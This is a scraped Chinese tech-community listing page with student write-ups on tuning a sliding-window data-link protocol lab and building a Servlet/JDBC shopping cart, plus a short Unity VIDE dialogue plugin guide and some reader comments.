    数据超时重传定时器DATA_RESEND_TIME的确定理论计算值:263 + 270 + x(假设立马传ACK回来) + 6 + 270 = 809ms + x,但是,如果直接通过理论计算,我认为并不能得到好的参数,因为,理论计算无法考虑到捎带ACK,以及ACK延迟发送的问题,以及队列排队等待,程序处理时间,因此我通过对log的分析,才得到程序中的DATA_RESEND_TIME。第一行为发送帧序号,第二行接受方接受时间+ACK返回到发送放时间,因为程序中存在稍待确认以及延迟发送ACK,因此我假设接到数据立即返回ACK帧,以此算出RTT。该测试log文件名为 datalink-A/B 参数-fud3 A/B 结果 93.74 93.73 DT 3000 AT 270 测试参数DATA_TIMER = 2900, ACK_TIMER = 270

    第一轮数据



    序号
    0
    1
    2
    4
    8
    16
    32
    64
    128




    时间ms
    838
    827
    841
    845
    833
    882
    817
    815
    849



    第二轮数据



    序号
    0
    1
    2
    4
    8
    16
    32
    64
    128




    时间ms
    834
    831
    846
    848
    833
    831
    847
    840
    845



    (加粗为去掉的数据)
    通过第一轮第二轮数据,去掉最低的两个以及最高的两个,可算出,平均RTT = 838.5,并且减去ACK回传时间,以及信道延迟,可得到一个平均数X = RTT – 6ms – 270ms – 270ms = 292.25,可以得到,一个263B的数据帧的处理时间约为292.25ms, 而通过观察.log文件,在ACK_TIMER = 270ms的情况下,大约8个数据包接收方返回一个ACK,因此,我们可以将8个数据包当做一个数据包传送,因此可以算出DATA_TIMER,也就是延迟时间为 8 * 292.25 + 7(间隔时间) + 270 + 6 + 270 = 2891,因此我设置DATA_TIMER为2890。
    理论分析:根据所设计的滑动窗口工作机制(Go-Back-N或者选择重传),推导出在无差错信道环境下分组层能获得的最大信道利用率;推导出在有误码条件下重传操作及时发生等理想情况下分组层能获得的最大信道利用率。给出理论推导过程。理论推导的目的是得到信道利用率的极限数据。为了简化有误码条件下的最大利用率推导过程,可以对问题模型进行简化,比如:假定超时重传的数据帧的回馈ACK帧可以100%正确传输,但是简化问题分析的这些假设必须不会对整个结论产生较大的误差。

    无差错信道下:无差错信道,当a,b以洪水模式发送数据包时,链路利用率的极限值应该为256/263 = 97.34%
    有差错信道下:当差错率为10^-5时,10^5bit约能产生49个数据包,其中有一个出错,需要重传,假设重传的数据包一定正确,则10^5bit需要约50个数据包,因此利用率为49256/50263 = 95.4%

    实验结果分析:你的程序运行实际达到了什么样的效率,比对理论推导给出的结论,有没有差距?给出原因。有没有改进的办法?如果没有时间把这些方法付诸编程实施,介绍你的方案。



    序号
    命令选项
    说明
    运行时间(秒)
    Selective算法线路利用率(%)A
    Selective算法线路利用率(%)B




    1
    -–utopia
    无误码信道数据传输
    1700
    54.96
    96.97


    2

    站点A分组层平缓方式发出数据,站点B周期性交替“发送100秒,停发100秒”
    1300
    53.61
    94.38


    3
    –-flood —utopia
    无误码信道,站点A和站点B的分组层都洪水式产生分组
    1300
    96.97
    96.97


    4
    –-flood
    站点A/B的分组层都洪水式产生分组
    1300
    94.35
    94.62


    5
    —flood -–ber=1e-4
    站点A/B的分组层都洪水式产生分组,线路误码率设为10-4
    2700
    62.91
    61.72




    命令为-u时, A效率相对样例数据,高了1%,而B效率仅低0.03%,因此在命令-u情况下,比样例数据稍好
    无命令选项时,A效率相对样例数据,低了0.7%,而B高了0.7%,总体上持平
    命令为 -fu时,AB效率均与样例数据相差0.03%,因此与样例数据持平,仅有稍稍的差距
    命令为-f时,AB均与样例数据相差0.7%,因此与样例有较小的差距
    命令为-f—ber=1e-4时, A效率高于样例数据20%,而B效率仅低于样例数据12%,总体高于8%,因此总体上比样例数据好很多

    对比样例数据,仅有在命令为-f时,能看出总体上1.4%的差距,其他命令下,均与样例接近,甚至在提高误码率的情况下,总体效率高于样例数据。
    我认为出现这种情况的原因是,其中的超时定时器和ACK定时器,我没有完全按照理论计算,而是通过实际数据,取平均值,测得,因此更好地考虑了程序在本机测试环境下产生的一些程序上,物理层上的处理时间,因此效率较好。
    改进方法:

    可以测得更多组数据,我这里仅取了两轮一共20组数据,取其中16组进行计算,若取更多数据可以取10轮200组数据,再除去最高10个及最低10个数据,再进行平均,可以得到更加精确的数据
    可以通过增加一些测试程序逻辑,例如测试程序能直接测试数据包的RTT,从而得到更好地超时定时器时间
    关于NR_BUFS,在误码率高的情况下,增加程序的窗口,可以提升效率,但在误码率低的情况下,过多的窗口会导致缓冲区的浪费,因此要根据链路速率,误码率,等因素进行合适的调整

    通过以上改进方法可以有效提升效率,但因为时间以及工作量原因,不在此进行更加详细的说明。
    存在的问题:在“表3 性能测试记录表”中给出了几种测试方案,在测试中你的程序有没有失败,或者,虽未失败,但表现出来的性能仍有差距,你的程序中还存在哪些问题?

    均没有失败,并且差距很小,甚至在-f –ber=1e-4的情况下总体效率高出样例8%
    程序中存在问题为,没有将最优的窗口大小测试出来,因为需要大量测试,且测试时间一次20min,每组100min,需要时间过大,仅仅采用了一个比较合适的窗口

    六、实验结果截图
    -–utopia 无误码信道数据传输
    该图忘记截头了,A效率54.90% B效率96.97%

    A效率54.18 B效率96.97


    无 站点A分组层平缓方式发出数据,站点B周期性交替“发送100秒,停发100秒”
    A效率 53.61% B效率94.38%


    –-flood —utopia 无误码信道,站点A和站点B的分组层都洪水式产生分组
    A效率96.97% B效率96.97%


    –-flood 站点A/B的分组层都洪水式产生分组
    A效率94.35% B效率94.62%


    —flood -–ber=1e-4 站点A/B的分组层都洪水式产生分组,线路误码率设为10-4
    A效率62.91% B效率61.72%

    七、研究和探索的问题7.1 CRC校验能力首先CRC的检测能力是能检测所有单个错、奇数个错误,和离散的二位错误,以及所有长度为r位的突发差错。并且长度为256Byte的帧出错,且不被发现的概率约为1/2^32次方,甚至概率更低,就以1/2^32次方计算,传输速率为8000bps,假设一天中50%的时间都在检测,则每秒约检测3.9个包,则3.91260*60/2^32为一天出错的概率,则约254924天会出一次错,约700年出一次错。因此能够实现无差错传输,并且我的推算已经是保守计算,实际校验能力可能更强,如果还不放心,可以使用CRC-64进行检验。
    7.2 软件测试方面的问题

    -u 是为了测试软件能否完成传输的基本功能,因为无差错,且数据量并不像洪水模式下这么多。如果-u测试失败,则说明程序有较大问题
    -f是为了测试软件能否在高压力下完成传输的功能,如果无法通过测试,说明软件中一些定时设置和缓存设置需要改变
    -b 增加误码率,增大软件的测试压力,理由如2

    七、实验总结和心得体会本次代码的编写时间约为4h,虽然一次编译通过,但是有许多问题等待解决,因此debug,调试参数最终花了一天的时间

    完成本实验的实际上机调试约为15h
    编程工具上,因为一直使用win系统,以及在初学编程时就用的visual studio进行操作,因此编程工具上没有太大的问题
    编程语言上,对指针的使用以及理解仍然有一点问题,但经过反复思考,查阅资料,最后没有太影响到整个编写程序的过程
    协议方面遇到了一个十分严重的问题,书上代码中,调整frame_expected, next_frame_to_send 均是通过宏定义的 inc(k),进行调整,我在编写代码时,没有考虑到有轮循的状况,便直接参考了这一方面,导致在运行过程中不断出现data ack timeout,然后数据链路层错误,这一方面我想了很久,最后查看log后才发现需要通过模运算保证frame_expected, next_frame_to_send在正常数据范围内
    在使用库的过程中没有发现什么其他的问题,效率方面也没有深入研究源代码分析,主要时间花在调试协议设计上的bug,以及效率优化方面
    通过这次实验,我对加深了对C语言的熟悉程度,对于滑动窗口协议有了更加深刻的理解,也提高了我查阅资料,查阅文档的能力,还有对陌生模块调用的能力,因为protocol.c中的函数均不是自己写的,对我整个代码水平有提高
    0 留言 2020-08-24 14:22:21 奖励46点积分
  • 利用Servlet+JavaBea+JDBC简单实现购物车

    Servlet+JavaBea+JDBC应用(利用sql数据库实现购物车)一、任务描述网上购物是人们日常生活的重要事情之一。在超市中有很多日常生活的用品,如电饭煲、蒸锅、洗衣机、电冰箱等。
    本任务要求,通过所学Servlet、JavaBean和Session知识以及购物车的访问流程(详见P.152),模拟实现购物车功能。用户需要先登录,然后跳转到商品列表页面,点击购买则跳转到购物车中所购买商品的列表页面,否则,返回商品列表页面。另外,在商品列表页面,可以按照商品名称进行查询。

    本任务需要编写3个JSP页面(可以参考下图)、5个Servlet文件(一个是实现登录,一个是商品列表,一个实现商品查询,一个实现添加购物车功能,一个现实购物车信息)、2个JavaBean文件和2个dao文件和1个数据库连接文件,参考下图


    当首次登录商品列表页面,提示用户进行登录。登录成功进入到商品列表页面
    选择某个商品,点击“购买”,可以把该商品添加到购物车内
    要求商品列表页面,能够根据商品名称筛选出相应的商品

    二、运行结果登录页面

    商品列表页面

    名称筛选后的商品列表页面

    购物车列表页面

    首次登陆购物车列表页面

    三、任务目标
    学会分析“实现购物车”程序的实现思路
    根据思路独立完成“实现购物车”的源代码编写、编译和运行
    掌握Servlet和JSP运行原理
    掌握购物车的工作流程
    掌握JavaBean、EL表达式和JSP标签库(JSTL)的使用
    熟练应用Servlet技术、JavaBean和Session对象完成购物车

    四、实现思路4.1 用户进行登录思路完成简单Login.html页面设置标签的id,首先在servlet中通过request.getParameter(“username”);request.getParameter(“password”);获取输入信息,其次通过dao层的Username中的login(User user)方法实现查询数据库信息对照是否相等,在相等时实现跳转商品页面,在不相等时返回登入界面;
    4.2 显示全部商品信息当用户验证登入成功后在LoginServlet跳转至sy1Allbook(Servlet),通过dao层的BookManager的getALLBooks()获取数据库中的所有信息保存于list中,并设置JSP的内置对象的request将信息以传至manager_Page.jsp(商品信息表)中,通过EL表达式的${}与JSP标签库(JSTL)显示在页面中;
    4.3 点击“购买”当用户点击购买时带参数(ID)跳转至myCartServelet中当首次点击时创建HttpSession对象保存信息,再次点击时将信息加值session对象中。最后显设置JSP的内置对象的request将信息以传至myselfCart.jsp (购物车信息表)中,通过EL表达式的${}与JSP标签库(JSTL)显示在页面中;
    4.4 查询思路首先通过选择查询的标签(pressName、bookAuthor、bookName),以及填写的信息(Keyword)传至sy1SearchServelet中,其次通过BookManager的getSearch(String Query_conditions, String Keyword) 查询数据库方法返回list,最后显设置JSP的内置对象的request将信息以传至manager_Page.jsp(商品信息表)中,通过EL表达式的${}与JSP标签库(JSTL)显示在页面中;
    五、总结或感悟5.1 错误总结使用response.sendRedirect():跳转导致信息无法显示。
    5.2 错误解决使用request.getRequestDispatcher().forward(request,response);跳转
    5.3 错误笔记
    request.getRequestDispatcher().forward(request,response):

    属于转发,也是服务器跳转,相当于方法调用,在执行当前文件的过程中转向执行目标文件,两个文件(当前文件和目标文件)属于同一次请求,前后页共用一个request,可以通过此来传递一些数据或者session信息,request.setAttribute()和request.getAttribute()在前后两次执行后,地址栏不变,仍是当前文件的地址不能转向到本web应用之外的页面和网站,所以转向的速度要快URL中所包含的“/”表示应用程序(项目)的路径
    response.sendRedirect():

    属于重定向,也是客户端跳转,相当于客户端向服务端发送请求之后,服务器返回一个响应,客户端接收到响应之后又向服务端发送一次请求,一共是2次请求,前后页不共用一个request,不能读取转向前通过request.setAttribute()设置的属性值在前后两次执行后,地址栏发生改变,是目标文件的地址可以转向到本web应用之外的页面和网站,所以转向的速度相对要慢URL种所包含的”/“表示根目录的路径

    特殊的应用:对数据进行修改、删除、添加操作的时候,应该用response.sendRedirect()。如果是采用了request.getRequestDispatcher().forward(request,response),那么操作前后的地址栏都不会发生改变,仍然是修改的控制器,如果此时再对当前页面刷新的话,就会重新发送一次请求对数据进行修改,这也就是有的人在刷新一次页面就增加一条数据的原因。
    如何采用第二种方式传递数据:

    可以选择session,但要在第二个文件中删除
    可以在请求的url中带上参数,如”add.htm?id=122”

    5.4 总结感悟访问数据库的也时一次次的连接数据库、执行SQL语句等出现代码大量的冗余;学习方法的封装,将访问数据库的操作,以及执行SQL语句的操作封装在一个类中,减少代码冗余。经过这次的课程设计,在实验中学习到了我对前端的请求相应有了更深的理解。
    2 留言 2020-06-03 11:45:07 奖励38点积分
  • unity 对话框免费插件 VIDE dialogue 一丢丢总结

    最近在忙于开发一个小小的游戏,等做到关于对话系统的方面时时候傻了眼,网上的资料的有点少而且难懂,然后我就知道了大佬都是自己写的插件(流下了没有技术的眼泪)。
    然后自己就去找了下unity官方资源商店的免费插件(贫穷)。让我们开始!
    首先导入,然后去找找example1的场景然后去熟悉一下各种设定,然后查看下官方的doc图片学习。
    大概的思路是这样的,让我来理清一下流程:首先要构建好UI,当然样子和名字不重要,要分工好职能,哪里显示名字,哪里是图片。然后呢我们可以拿来example1那个文件夹的manage代码过来(提示一下这些都可以在场景里面直接抄,包括UI,方便理解),然后就是player的代码。
    具体是使用是这样的:首先我们要在进行对话的NPC上放一个VIDE_Assign组件(文件夹有),然后建一个manager(放空物体上),然后把UI层的player的,NPC的,item的各种引用拖到manage里(很容易理解,就是改UI的文字和图片做到输出内容)。
    然后呢就是把player的脚本放到主角身上哈,然后拖下引用。
    接下来就是windows面板的IDVE editor然后新建一个对话(这个很容易),右键新建框,点框里的小圆圈连起来。

    然后设一下tag,主角的可不设(player脚本会把名字传过去,在manage代码里,如果没有请去自行改bug)。
    然后在npc那里的VIDE_Assign组件上选择我们刚才设定好的动画。
    启动!走到面前按e就可以了


    这样VIDE_Assign的基础用法就大概清晰了,如果想要深入请自行探索或者等我学会了再说吧(害,太难了)

    ps:如果不用实例的场景的话用脚本需要改点细节,比如Player里的移动方法,还有碰撞检测,还有按键,我打算做个2d游戏,所以就改了2d的碰撞检测,不过改动量不大,基本按照原来的来,毕竟使用插件还是图个方便,大家还是自行按照需求在原有的基础上改改吧(自带脚本耦合性有点高);》
    0 留言 2020-08-11 10:38:02 奖励16点积分
显示 45 到 60 ,共 15 条

热门回复

  • 基于SSM的超市订单管理系统
    可以用吗,怎么用的
    2021-04-14 15:44:50 thumb_up( 1 )
  • 线程同步之临界区
    程序还算比较简单的,谢谢分享
    2019-04-20 12:24:58 thumb_up( 1 )
  • 基于WinPcap实现的UDP发包程序
    如果在vs 编译时出现 无法找到元数据文件 platform.winmd 应该怎么解决
    2021-03-23 09:58:16 thumb_up( 2 )
  • 机器视觉MIL Mod匹配
    You can also search within the full angular range of 360� from the nominal angle specified with M_ANGLE. Use the MmodControl()�M_ANGLE_DELTA_POS and M_ANGLE_DELTA_NEG control types to specify the angular range in the counter-clockwise and clockwise direction from the nominal angle, respectively; the default for both is 180�. The angular range limits the possible angles which can be returned as results for an occurrence. Note that the actual angle of the occurrence does not affect search speed. If you need to search for a model at discrete angles only (for example, at intervals of 90 degrees), it is typically more efficient to define several models with different expected angles, than to search through the full angular range. By default, calculations specific to angular-range search strategies are enabled. If you expect that the occurrences sought are close to the specified nominal angle, you can disable these calculations using MmodControl() with M_SEARCH_ANGLE_RANGE set to M_DISABLE. When disabled, you must specify a good nominal angle for each model, which is within the model's angular range. You can restrict which candidates are returned as occurrences by narrowing the angular-range. Note that M_SEARCH_ANGLE_RANGE must be enabled to search for a rotation-invariant non-synthetic model (for example, an image-type model of a circle).
    2021-03-20 13:27:51 thumb_up( 2 )
eject